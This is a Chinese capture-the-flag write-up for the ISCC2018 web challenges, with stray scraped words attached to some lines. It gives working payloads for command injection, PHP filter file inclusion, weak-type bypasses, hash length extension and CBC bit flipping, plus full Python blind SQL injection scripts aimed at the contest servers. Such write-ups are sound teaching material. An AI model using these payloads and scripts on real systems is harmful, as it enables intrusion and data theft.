ISCC2018 writeup(web)

 

 

 比較數字大小php

F12 修改maxlength爲4python

 

 

 

 

web01mysql

 

strcmp()函數遇到數組會返回NULL 而PHP是弱類型語言  在==比較的時候,若是有數值的話會先將字符串轉換爲數值在進行比較,而NULL轉換成數值爲0,因此繞過題目限制。web

payload:  get: /?password[]=1sql

 

本地的誘惑數據庫

右鍵查看源代碼便可。數組

你能跨過去嗎?服務器

 

 複製callback參數內容 base64解碼獲得<script>alert("key:/%nsfocusXSStest%/")</script>  複製key的內容 提交獲得flag;cookie

一切都是套路ide

訪問/index.php.txt獲得源代碼:

 

變量覆蓋漏洞($$): 

get: ?_200=flag

post: flag=x

 

你能繞過嗎

 

更改f參數的內容發現會報錯,猜想是文件包含漏洞

用php僞協議來讀取flag.通過測試發現題目過濾了php 因此用PHP://filter/convert.base64-encode/resource=index,解碼讀到flag。

 

 web02

 

 burp截斷 利用client-ip: 127.0.0.1修改客戶端ip以欺騙服務器 獲得flag。

 

 

請ping個人ip 看你能Ping通嗎?

 根據題目要求 ping 猜想是命令注入漏洞,過濾了; & |等特殊符號  利用%0a(換行)進行繞過

用  ls / 命令查看目錄

 

最後在 /home目錄下發現flag   payload: /?ip=127.0.0.1%0a cat /home/flag獲得flag 

 

Please give me username and password!

/index.php.txt 頁面泄漏源代碼,利用php弱類型進行繞過;

?username[]=0&password=1e9

 

 

 

SQL注入的藝術

點擊我的信息頁面,寬字節注入,能夠盲注也能夠聯合查詢注入。 當時寫了個腳本盲注的。

import re
import requests

cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
	for ss in list:
		p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
		u = requests.get(url+p)
		if "head.jpg" in u.content:
			cname += chr(ss)
			print cname
			break

for i in range(1,23):
	for l in list:
		pp = payload.format(p='select flag from admins',m=i,n=l)
		u = requests.get(url+pp)
		if "head.jpg" in u.content:
			flag += chr(l)
			print flag
			break

  

 

 

 

 

 

 

試試看

/show.php?img=1.jpg  複製圖片地址  文件包含漏洞。

因爲不包含.jpg文件提示File not found! resource能夠包含兩個文件 因此繞過

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代碼獲得flag。

 

 

Collide

 

 直接給出源代碼,因爲key的值不知道 可是咱們知道key的 長度爲46,利用hash長度擴展攻擊

編碼後的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

 

 

 

 

Only admin can see flag

cbc字節翻轉攻擊

/index.txt看到源代碼 搜了一下 發現cbc字節翻轉攻擊 附帶腳本。

 

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))

jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

  

 先用admiN 123456登陸

在地址欄處回車(不要刷新,不然cipher 和iv會刷新)並用burp抓包。

 

將iv 和 cipher放入腳本中 獲得新的 cipher 修改cookie中的 cipher 獲得報錯信息中的 cipher。

 

 

 複製報錯信息中的cipher到腳本中 運行獲得新的iv  修改iv爲新的iv 且cipher爲第一次腳本運行獲得的cipher。獲得flag;

 

 

 爲何這麼簡單啊

根據提示利用 xff ip地址僞造和referer 便可進入第二關。

 右鍵查看源碼,發現可疑js文件,瀏覽找到密碼 base64解碼 提交獲得flag。

 

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解碼獲得: xinyiji.com

 

php是世界上最好的語言

用戶名隨便輸 ,密碼用php弱類型進行繞過 :QNKCDZO(能夠看我以前寫過的php知識點總結)

 點擊獲得

利用全局變量打印出$flag變量便可。

 

 

 

Sqli

題目說的很明確 就是注入了。通過測試發現是盲注 因而寫了個腳本跑出密碼登陸。

解密: u4g009

提示在另外一個字段,(真他媽坑啊),這裏直接聯合查詢注入就能夠了。

順便附上我寫的垃圾盲註腳本

import requests

tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')

# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break

for i in range(1,33):
    for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})
        if 'normal' in u.content:
            pwd += k
            print pwd
            break

 

 有種你來繞

 

 

根據提示,是mysql的數據庫,利用mysql的特性--隱式類型轉換,進行盲注獲得密碼。

寫了個腳本跑出密碼登陸。

 

import requests

url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in range(1,33):
    for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})
        if not 'username' in u.content:
            password += k
            print password

 解密: nishishabi1438  (我他媽想打死傻逼出題人)

輸入flag,執行便可。

web400 Only Admin 是cookie注入,可是本身沒怎麼看,等其餘師傅分享wp再學習一波吧。

相關文章
相關標籤/搜索